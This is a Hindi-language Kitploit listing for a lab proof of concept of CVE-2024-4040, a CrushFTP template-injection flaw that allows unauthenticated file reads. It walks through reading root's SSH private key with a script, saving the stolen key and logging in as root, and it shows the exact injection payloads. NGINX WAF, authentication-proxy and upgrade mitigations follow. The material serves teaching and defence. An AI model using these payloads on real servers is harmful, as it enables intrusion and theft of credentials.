Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — CVE-2024-4040 (CrushFTP SSTI -> बिना प्रमाणीकरण के LFI) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, नियंत्रित CS443 लैब वातावरण में - केवल शैक्षिक/अधिकृत उपयोग के लिए। | Kitploit
उपकरण/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-4040 (CrushFTP SSTI -> बिना प्रमाणीकरण के LFI) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, नियंत्रित CS443 लैब वातावरण में - केवल शैक्षिक/अधिकृत उपयोग के लिए।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

CVE-2024-4040 — CrushFTP SSTI / LFI प्रूफ ऑफ कॉन्सेप्ट

केवल शैक्षिक और अधिकृत प्रयोगशाला उपयोग के लिए।
CS443 सॉफ़्टवेयर और सिस्टम सुरक्षा — नियंत्रित स्थानीय Docker वातावरण।


भेद्यता सारांश

फ़ील्डविवरण
CVECVE-2024-4040
प्रभावित सॉफ़्टवेयरCrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch)
भेद्यता प्रकारसर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) → अप्रमाणित लोकल फ़ाइल पढ़ना
CVSS स्कोर9.8 गंभीर
प्रभावअप्रमाणित हमलावर सर्वर फ़ाइल सिस्टम से मनमानी फ़ाइलें पढ़ सकते हैं

CrushFTP का WebInterface zip कमांड के path पैरामीटर में टेम्पलेट एक्सप्रेशन का मूल्यांकन बिना सैनिटाइज़ेशन के करता है। एक अप्रमाणित हमलावर अनाम सत्र कुकीज़ प्राप्त कर सकता है, फिर उन कुकीज़ का उपयोग करके टेम्पलेट पेलोड ({working_dir}, <INCLUDE>…</INCLUDE>) भेज सकता है, जिन्हें सर्वर मूल्यांकित करके लौटाता है — जिससे होस्ट भर में मनमानी फ़ाइल पढ़ना संभव हो जाता है।


प्रयोगशाला वातावरण


पूर्वापेक्षाएँ

root@kitploit:~
pip install requests rich

स्क्रिप्ट्स

स्क्रिप्टस्रोतउद्देश्य
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCपूर्ण SSTI/LFI शोषण — सत्र चोरी, मनमानी फ़ाइल पढ़ना
recon.pyयह रिपॉज़िटरीसंस्करण पहचान, लाइव SSTI जांच, भेद्यता की पुष्टि

प्रूफ ऑफ कॉन्सेप्ट वॉकथ्रू

चरण 1 — प्रयोगशाला प्रारंभ करें

root@kitploit:~
docker-compose up -d

स्क्रिप्ट चलाने से पहले CrushFTP को पूरी तरह प्रारंभ होने में ~10 सेकंड प्रतीक्षा करें। यहाँ अलग से recon चरण की आवश्यकता नहीं है क्योंकि crushed.py निष्पादन के दौरान पहले से जाँच करता है कि शोषण संभव है या नहीं।


चरण 2 — LFI के माध्यम से SSH निजी कुंजी चुराएँ

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

स्क्रिप्ट निम्न कार्य करेगी:

  1. /WebInterface/ से एक अनाम CrushAuth / currentAuth सत्र प्राप्त करें
  2. SSTI का उपयोग करके टेम्पलेट मूल्यांकन की पुष्टि करें और सर्वर होस्टनाम लीक करें
  3. CrushFTP स्थापना निर्देशिका का पता लगाने के लिए {working_dir} का उपयोग करें
  4. लक्ष्य फ़ाइल पढ़ने के लिए <INCLUDE>/root/.ssh/id_rsa</INCLUDE> का उपयोग करें
  5. कच्ची फ़ाइल सामग्री को stdout पर प्रिंट करें

आउटपुट से निजी कुंजी ब्लॉक कॉपी करें (-----BEGIN OPENSSH PRIVATE KEY----- से -----END OPENSSH PRIVATE KEY----- तक की सब कुछ)।


चरण 3 — चुराई गई कुंजी सहेजें

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

चरण 4 — रूट के रूप में कंटेनर में SSH करें

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

चरण 5 — रूट एक्सेस की पुष्टि करें

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

हमला श्रृंखला आरेख

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

crushed.py में प्रमुख ज्ञात समस्याएँ


शमन रणनीतियाँ

शमन 1 — वेब एप्लिकेशन फ़ायरवॉल (NGINX + ModSecurity)

अवलोकन

एक WAF रिवर्स प्रॉक्सी के रूप में कार्य करता है जो CrushFTP तक पहुँचने से पहले आने वाले HTTP/S ट्रैफ़िक का निरीक्षण करता है। NGINX को ModSecurity के साथ उपयोग करके, CVE-2024-4040 का शोषण करने वाले दुर्भावनापूर्ण अनुरोधों को CrushFTP में बदलाव किए बिना नेटवर्क किनारे पर अवरुद्ध कर दिया जाता है।

यह CVE-2024-4040 को कैसे शमित करता है

  • अनुरोध URI और कुकीज़ में पथ ट्रैवर्सल पैटर्न (उदाहरण के लिए, ../, %2e%2e) को अवरुद्ध करता है
  • अप्रमाणित VFS एस्केप अनुरोधों को CrushFTP तक पहुँचने से रोकता है
  • संदिग्ध पेलोड को एप्लिकेशन तक पहुँचने से पहले लॉग और अस्वीकार करता है

Docker सेटअप

Mitigation 1/docker-compose.yaml का उपयोग करें:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX कॉन्फ़िगरेशन

Mitigation 1/nginx.conf का उपयोग करें:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

ट्रैफ़िक प्रवाह

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

सीमाएँ

  • मूल कारण को पैच नहीं करता - यदि WAF को बायपास कर दिया जाए तो CrushFTP भेद्य बना रहता है
  • जैसे-जैसे हमलावर अस्पष्टता तकनीक विकसित करते हैं, नियम अपडेट की आवश्यकता होती है

शमन 2 — अनाम उपयोगकर्ता पहुँच अक्षम करें

अवलोकन

CVE-2024-4040 बिना प्रमाणीकरण के शोषण योग्य है। इस प्रयोगशाला में, संवेदनशील रूट्स को CrushFTP पर प्रॉक्सी करने से पहले Authorization हेडर की आवश्यकता के द्वारा NGINX परत पर अनाम-शैली पहुँच अवरुद्ध की जाती है।

यह CVE-2024-4040 को कैसे शमित करता है

  • crushed.py जैसी शोषण स्क्रिप्ट अप्रमाणित पहुँच पर निर्भर करती हैं; बिना क्रेडेंशियल्स के अनुरोधों को 401 के साथ अस्वीकार कर दिया जाता है
  • /WebInterface/ और / के अनुरोध तब तक अस्वीकार किए जाते हैं जब तक प्रमाणीकरण डेटा मौजूद न हो
  • भेद्य एंडपॉइंट्स का अप्रमाणित उपयोगकर्ताओं के संपर्क में आना कम करता है

Docker सेटअप (Mitigation 2/docker-compose.yaml से सटीक)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX नीति (Mitigation 2/nginx.conf से सटीक)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Docker के माध्यम से सत्यापित करें

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

सीमाएँ

  • अंतर्निहित भेद्यता को पैच नहीं करता; यदि शोषण तर्क को अनुकूलित किया जाता है तो प्रमाणित उपयोगकर्ता अभी भी जोखिम में हो सकते हैं
  • प्रवर्तन प्रॉक्सी की स्थिति और CrushFTP के सामने सही हेडर हैंडलिंग पर निर्भर करता है

शमन 3 — CrushFTP संस्करण 11 में अपडेट करें

अवलोकन

CrushFTP 11 में अपग्रेड करना सबसे प्रभावी और स्थायी समाधान है। यह पैच VFS पथ रिज़ॉल्यूशन पर सख्त इनपुट सत्यापन जोड़ता है, जिससे CVE-2024-4040 का मूल कारण समाप्त हो जाता है।

यह CVE-2024-4040 को कैसे शमित करता है

  • VFS पथों का सख्त सैंडबॉक्सिंग लागू करता है - एस्केप प्रयास एप्लिकेशन स्तर पर अस्वीकार कर दिए जाते हैं
  • crushed.py जैसी शोषण स्क्रिप्ट संस्करण 11 के विरुद्ध अब काम नहीं करतीं
  • समाधान स्रोत कोड स्तर पर लागू किया जाता है, बाहरी नियंत्रणों द्वारा छिपाया नहीं जाता

कार्यान्वयन

CrushFTP 11 का उपयोग करने के लिए अपने Dockerfile को अपडेट करें:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

कंटेनर को पुनः बनाएँ:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

पैच के काम करने को सत्यापित करें

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
टूल डाउनलोड करें
घटकमान
लक्ष्यhttp://localhost:8080
आधार PoC CrushFTP संस्करण10.3.0 (जानबूझकर भेद्य)
शमन 3 परीक्षण वातावरणअलग कंटेनर जो CrushFTP 11.x (पैच की गई शाखा) चला रहा है
SSH पोर्ट (कंटेनर)2222 → 22
व्यवस्थापक क्रेडेंशियल्सadmin / admin
कंटेनर रनटाइमDocker (Compose)
समस्यास्थानविवरण
लापता निर्भरताLine 6–9चलाने से पहले pip install rich आवश्यक है
नाज़ुक XML पार्सिंगLines 86, 140गैर-XML सर्वर प्रतिक्रियाओं पर क्रैश होता है; कोई ParseError हैंडलिंग नहीं है
टोकन regex बहुत सख्त हैLines 160–161CrushAuth=…; currentAuth=… पैटर्न सभी sessions.obj प्रारूपों से मेल नहीं खा सकता है
केवल HTTP 404Line 53कुकी ग्रैब केवल 404 पर सफल होता है; अन्य स्टेटस कोड पर चुपचाप आगे बढ़ जाता है